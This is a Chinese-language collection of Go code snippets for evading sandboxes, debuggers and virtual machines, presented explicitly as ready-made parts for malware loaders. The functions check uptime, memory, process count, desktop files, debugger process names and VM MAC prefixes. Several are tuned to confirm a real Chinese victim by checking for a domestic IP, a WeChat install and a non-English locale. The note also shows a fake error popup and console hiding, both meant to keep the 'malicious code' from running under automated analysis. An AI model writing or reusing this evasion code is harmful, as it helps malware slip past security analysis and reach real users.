反沙箱技术
学习和记录各种反沙箱的手段,均使用go实现。在编写loader时可以直接拿来使用
环境条件
开机时长
如果当前操作系统没有超过三十分钟就退出
func BootTime() bool {
kernel := syscall.NewLazyDLL(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
}))
GetTickCount := kernel.NewProc("GetTickCount")
r, _, _ := GetTickCount.Call()
if r == 0 {
return false
}
ms := time.Duration(r * 1000 * 1000)
tm := time.Duration(30 * time.Minute)
if ms < tm {
return false
} else {
return true
}
}
物理内存
获取系统的内存,将获取到的内存总量除以``1048576`转换成GB来判断是不是小于4GB。
func PhysicalMemory() bool {
var mod = syscall.NewLazyDLL(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
}))
var proc = mod.NewProc("GetPhysicallyInstalledSystemMemory")
var mem uint64
proc.Call(uintptr(unsafe.Pointer(&mem)))
mem = mem / 1048576
fmt.Printf("物理内存为%dG\n", mem)
if mem < 4 {
return false
}
return true
}
进程数量
如果没有超过60个就自动退出。
import "github.com/shirou/gopsutil/process"
func ProcessCount() bool {
processes, err := process.Processes()
if err != nil {
return false
}
// fmt.Printf("当前进程数量: %d\n", count)
if len(processes) < 60 {
return false
}
return true
}
国内IP
判断当前ip是否位于国内
func IP() bool {
url := "https://myip.ipip.net/"
var s string
err := requests.URL(url).ToString(&s).Fetch(context.Background())
if err!= nil {
return false
}
if !strings.Contains(s, "中国") {
return false
}
return true
}
微信
检查当前用户的注册表中是否有微信的安装路径信息。
func Wechat() bool {
k, err := registry.OpenKey(registry.CURRENT_USER, `SOFTWARE\\Tencent\\bugReport\\WechatWindows`, registry.QUERY_VALUE)
if err != nil {
return false
}
defer k.Close()
s, _, err := k.GetStringValue("InstallDir")
if err != nil || s == "" {
return false
}
return true
}
中文语言
如果语言是英文的则不符合国内使用习惯,大概率是虚拟机或是沙箱。
func Language() bool {
l := os.Getenv("LANG")
if strings.Contains(l, "en_US") {
return false
}
return true
}
虚拟内存交换文件
如果存在则表示系统配置了页面文件。
func Profile() bool {
_, err := os.Stat("C:\\pagefile.sys")
if os.IsNotExist(err) {
return false
} else if err != nil {
return false
}
return true
}
桌面文件数量
获取用户桌面的路径,然后统计该目录下面非目录项的数量,如果文件数量小于7则退出。
func DesktopFile() bool {
desktopPath, err := os.UserHomeDir()
if err != nil {
return false
}
desktopPath = filepath.Join(desktopPath, "Desktop")
fileCount, err := countFilesInDir(desktopPath)
if err != nil {
return false
}
if fileCount < 7 {
return false
}
return true
}
func countFilesInDir(dirPath string) (int, error) {
var fileCount int
err := filepath.Walk(dirPath, func(path string, info os.FileInfo, err error) error {
if err != nil {
return err
}
if !info.IsDir() {
fileCount++
}
return nil
})
if err != nil {
return -1, err
}
return fileCount, nil
}
其他操作
弹窗确认
可以先设置一个弹框,沙箱如果没有自动模拟点击的情况下就不执行恶意代码。
import "github.com/gen2brain/dlgs"
func start() {
_, err := dlgs.Info("提示", "打开失败!")
if err != nil {
os.Exit(-1)
}
}
隐藏黑框
import "github.com/lxn/win"
func main() {
win.ShowWindow(win.GetConsoleWindow(), win.SW_HIDE)
}
延时执行
就是让当前的线程休眠10秒,然后对比实际的睡眠时间。
func TimeSleep() bool {
start := time.Now()
time.Sleep(10 * time.Second)
end := time.Since(start)
if end >= 10*time.Second {
return true
} else {
return false
}
}
反调试
检测系统中是否允许了调试器,MAX_PATH指的就是文件路径的最大长度,遍历所有的进程与黑名单进行比较
var blacklistDBG = []string{
"IDA",
"OLLY",
"WINDBG",
"GHIDRA",
}
const MAX_PATH = 260
func DetectDBG() bool {
handle, err := syscall.CreateToolhelp32Snapshot(syscall.TH32CS_SNAPPROCESS, 0)
if err != nil {
return false
}
pe32 := syscall.ProcessEntry32{}
pe32.Size = uint32(unsafe.Sizeof(pe32))
err = syscall.Process32First(handle, &pe32)
for err == nil {
exeFile := strings.ToUpper(syscall.UTF16ToString(pe32.ExeFile[:MAX_PATH]))
for _, pn := range blacklistDBG {
if strings.Contains(exeFile, pn) {
return true
}
}
err = syscall.Process32Next(handle, &pe32)
}
if ret, _, _ := syscall.NewLazyDLL(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
})).NewProc(string([]byte{
'I', 's', 'D', 'e', 'b', 'u', 'g', 'g', 'e', 'r', 'P', 'r', 'e', 's', 'e', 'n', 't',
})).Call(); ret != 0 {
return true
}
return false
}
反虚拟机
资源
检测当前环境是否可能是虚拟机环境,调用Windows API来检测CPU虚拟化标志,以及runtime.NumCPU()
返回的处理器核心数量,少于2个则判断为虚拟机。然后判断系统总物理内存 ullTotalPhys
如果小于 1<<31(也就是2的31次方,即2GB)判断为虚拟机。
import "github.com/klauspost/cpuid"
type memoryStatusEx struct {
dwLength uint32
dwMemoryLoad uint32
ullTotalPhys uint64
ullAvailPhys uint64
ullTotalPageFile uint64
ullAvailPageFile uint64
ullTotalVirtual uint64
ullAvailVirtual uint64
ullAvailExtendedVirtual uint64
}
func checkResource() bool {
if cpuid.CPU.VM() {
return true
}
memStatus := memoryStatusEx{}
memStatus.dwLength = (uint32)(unsafe.Sizeof(memStatus))
if ret, _, _ := syscall.NewLazyDLL(string([]byte{
'k', 'e', 'r', 'n', 'e', 'l', '3', '2',
})).NewProc(string([]byte{
'G', 'l', 'o', 'b', 'a', 'l', 'M', 'e', 'm', 'o', 'r', 'y', 'S', 't', 'a', 't', 'u', 's', 'E', 'x',
})).Call((uintptr)(unsafe.Pointer(&memStatus))); ret == 0 {
return false
}
if runtime.NumCPU() < 2 || memStatus.ullTotalPhys < 1<<31 {
return true
}
return false
}
NIC和MAC
判断网络接口卡 (NIC) 的 MAC 地址前缀来判断当前环境是否在某些虚拟机软件中运行
var blacklistedMacAddressPrefixes = []string{
"00:1C:42", // Parallels
"08:00:27", // VirtualBox
"00:05:69", // |
"00:0C:29", // | > VMWare
"00:1C:14", // |
"00:50:56", // |
"00:16:E3", // Xen
}
func checkNic() bool {
interfaces, err := net.Interfaces()
if err != nil {
return false
}
for _, iface := range interfaces {
macAddr := iface.HardwareAddr.String()
if strings.HasPrefix(iface.Name, "Ethernet") ||
strings.HasPrefix(iface.Name, "以太网") ||
strings.HasPrefix(iface.Name, "本地连接") {
if macAddr != "" {
for _, prefix := range blacklistedMacAddressPrefixes {
if strings.HasPrefix(macAddr, prefix) {
return true
}
}
}
}
}
return false
}